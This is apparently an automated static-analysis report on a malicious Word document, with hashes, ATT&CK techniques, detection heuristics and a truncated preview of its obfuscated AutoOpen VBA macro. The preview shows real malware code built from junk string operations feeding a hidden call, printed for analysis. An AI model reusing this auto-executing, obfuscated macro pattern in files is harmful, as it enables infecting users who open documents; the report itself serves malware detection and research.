Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fc25b79dcef35b14…

MALICIOUS

Office (OLE)

120.1 KB Created: 2018-09-27 14:16:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 2b8198d5220dd5f63d5a04c8e67601ab SHA-1: 22b53cd06a85cd8c66db2e1a658135859e37fac4 SHA-256: fc25b79dcef35b140e44bf2d25ee2fca89798626c283f80c4e811f5bf0f0754b
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the Shell() function, indicating an attempt to execute arbitrary code. The presence of the Shell() call and the AutoOpen macro strongly suggests a malicious intent to download or execute a secondary payload.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6699778-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6699778-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20476 bytes
SHA-256: 2a5f077b5463d824d5f33f2b4d8bbd3ed514e519f5ea283036d163831ee0e252
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "idowImtn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim CUFYYs(2)
CUFYYs(0) = Right(dhHhaW + mZsaKcJNQuEDiSiXHhc + OpuIjj, 80) + Left(nJCkP + KFLIzcwzYPrwJEfMU + QjLwD, 299) + InStrRev(wCCwwcQ + mXwLKRwLkAwLrJof + YCcPaMpA, srPazl + PzzsijtAqGmQPNUTwk + wSLHGp) + Left(GUiPwz + HfhMwtlHbzMsVKbBZ + dEXbzS, 123)
CUFYYs(1) = InStrRev(QhwMQD + ENZAfplobMEUEsCdo + nikHjffE, SDzMtO + HqKqtRRasTNaDBvPXFkGk + lRBvLiEO) + InStrRev(jwlTJRF + OrPBnlwaIWjarzfihoJLV + dJvOofS, CWPNJMf + KwJEmbAaGwFftHoDMU + bGwJRC)
   Dim PQsKi(2)
PQsKi(0) = InStr(LjpOfZiA + qmtAArUkKkLvBjXPmFnK + HrlkPj, OXZHEO + ZPrGAkiJMLlEqDbtziA + UuhiJOJ) + InStrRev(OjYTcZXE + DViMYUzdUZpZPNmIUuDB + KiJiBWvb, IpiJKMRf + YGJFpTvmjAUjqnNbwd + TFzXt) + Left(cXMdQ + DthBzpvoFLvUYEnLGpAswa + DdHGGKU, 697) + InStrRev(wiXHYQrM + jYSWqFwDBlbDLpzEkzojL + nwRjA, RuiKlPB + hTHVbMSGsHNfvpHRzOTABz + KHvjDW)
PQsKi(1) = Right(QDYhb + zIcOmpCHhjQaNVpvHw + DqVnY, 89) + Right(qRDTsYkz + FnCUGjwwCsjYMLXQLRwC + zWuZhkqi, 744)
   Dim KwGvT(1)
KwGvT(0) = InStrRev(friOks + jwQSHHpVPtdjILFpahdco + lrJiwG, SMDkT + cwfaGnnlCfDIVcGjW + bTmwb) + InStrRev(qblcFFjw + kODYjDZzMqaqWQVMoK + wvaubCD, PAwHun + jXcdAzBljoLvYhHdF + WvmRLdl) + Right(daJEmjC + cspTPOpFZanJpjHqjDUQDH + ZUJpiLz, 561) + InStrRev(DjYcWXL + UldwlCMMHclLEdPjvcLLDVz + GhwEvT, wXXnSwVV + sbuNBbNLIZabtGuLY + OiSwYwcd)
   Dim Gjkmu(1)
Gjkmu(0) = InStr(CHKsr + zNjFEGkTGMwYORBTJtpndQ + AajGfmji, YimQm + awBtlGIXwzJaNQktqAjM + tudDjtG) + InStrRev(DUpzO + wHnhZzBVVftSdtNrMiE + scQCT, VYPBYY + wsthLNOjJljIwuRio + zPwCKUC)
   Dim APTRtO(1)
APTRtO(0) = Right(VVVOF + jrhijDBbjRtzLDujwdBz + IhzDWYO, 311) + Left(DcIKrzo + bUopOuRYvOfuqVDYmIC + hDwvjpzo, 836)
   Dim CiNabV(1)
CiNabV(0) = InStr(pVvpcUi + VjRDtOjCaQtUHcp + lBLjYZj, zjErd + zaJdzYvkJcbbiwmXTXlf + KfFrLh) + InStrRev(LHBfF + cQvOzEbTEIEGQkOvpPTEZ + RPazzrzf, pQVPj + mCdcttGpwzcJnEnLsz + EaZdYi)
   Dim Qwavj(2)
Qwavj(0) = InStrRev(LEoQL + SwrmfLTlKwCowXScBRiA + kGutGI, ZPsMt + FpNQzhBJnbziGRozvEYiiB + PjfETYjw) + Right(ktjjzG + KLDHauOwrjHiOlaJiHZCJ + NEmMGS, 545)
Qwavj(1) = InStrRev(poHIkqwa + ThVvtzwXXlIujKlll + iXIBdRY, wOtWq + sPjVFGjtqFDfDBowwmsT + iLmuAv) + InStr(BsWBsZGQ + nLUMALshrsvdzaQ + tutOiSS, OshLk + DSLdjHOVfraXvzpzsSGhiq + SwLKQPj) + InStrRev(FpDlj + zasiNPkWWnccmZYvWl + KnBsjHl, toiHw + DuaotczWcCdBjiwhqM + cktbiI) + InStr(ouBsbK + ijEVGEIbrIDIQfawDA + oUHNiL, VwRzKIB + cizqzzYGrMAhhGPBzq + jRmFr)
   Dim GDKRXw(2)
GDKRXw(0) = Left(phsJuC + uTdRcXThkYBTbVDrZz + onPWKEwW, 50) + Right(iFADQijw + ZPDsNQnKihAVodMHkNWi + PbRmJp, 19)
GDKRXw(1) = InStr(PYMdz + fstLiMaEhbrzkdizp + BojqJ, AXKTc + lPffOrhNJKmLniwmZrEfsa + EKQYXq) + InStrRev(OzSaiYZa + WOQRXKVJmjjmEcWwlmwlo + hXIBRdIM, EnnGDi + TiMOwHvJltZccwYjIUDaazE + dqhEPzVq) + Left(ZAFIzW + vcqPcFBSQDmOtjnEoK + GlJYf, 44) + InStr(DGUJp + NcDqiFAFfKAbMUQVkiTj + GMzjuk, RZbkU + TkEtUkqlbzOkuvhT + mTKuJuJn)
AQKjAulVpRWZpw (KeyString(fGLXR + HmnELC + 1 + 17 + 49 + ciBBYc + SfhwpiK) + mnZZh + iQvahmFZ + KeyString(jjBUwf + tskahc + 1 + 20 + 56 + AZOGzvZF + hqDfZ) + jLOkpu + EjNzaOUVNm + qdVYzEnTO + XsrnWTzYw + TrjJF + UnzJlKmV)
   Dim wCzAK(2)
wCzAK(0) = Left(mowffhC + QNwDPbMRRkALLbjoiRHiwR + NVIVuU, 62) + InStrRev(DtJXqf + ThacVzqotbJiBlbwrwpjIpN + iArmHqcj, rWSjQabN + HiNrjwdBRnvGiCpC + CNTHZY) + InStrRev(Fhcdan + ACztwhvjzWalKvdEUuk + jEvkKfw, sCnEu + SRXaCphvRhzifsNNulKrED + tVwGBD) + InStrRev(cMiir + otzwabmtqjfjHaoVvMzK + wdPDKfWi, wGEost + PUXzusLuVUiQEbzkji + AMlcM)
wCzAK(1) = Right(cBcsvMWz + KzlAKVPpzMvJzJXnJa + usSYwmEi, 544) + Left(ZjaJqq + WTmhsXrCzLZnqIrzh + Qkfmamd, 2) + Left(COJYHLav + BjQpjvckwtZjlBFCkO + PWYUij, 934) + InStrRev(GhjhU + fJtwidfYVFtqhzRB + auAEi, BBViLD + VEkLstwimwHPQSXrEPs + KLdWAWwR)
   Dim XbZqr(1)
XbZqr(0) = Right(vWkjw + hblEiUOhMJJjtzTCYUlp + kXNiTHX, 252) + InStrRev(JYhrcBp + hhXSimPtBTvmQwBzlFmwa + LPcaX, covMFf 
... (truncated)

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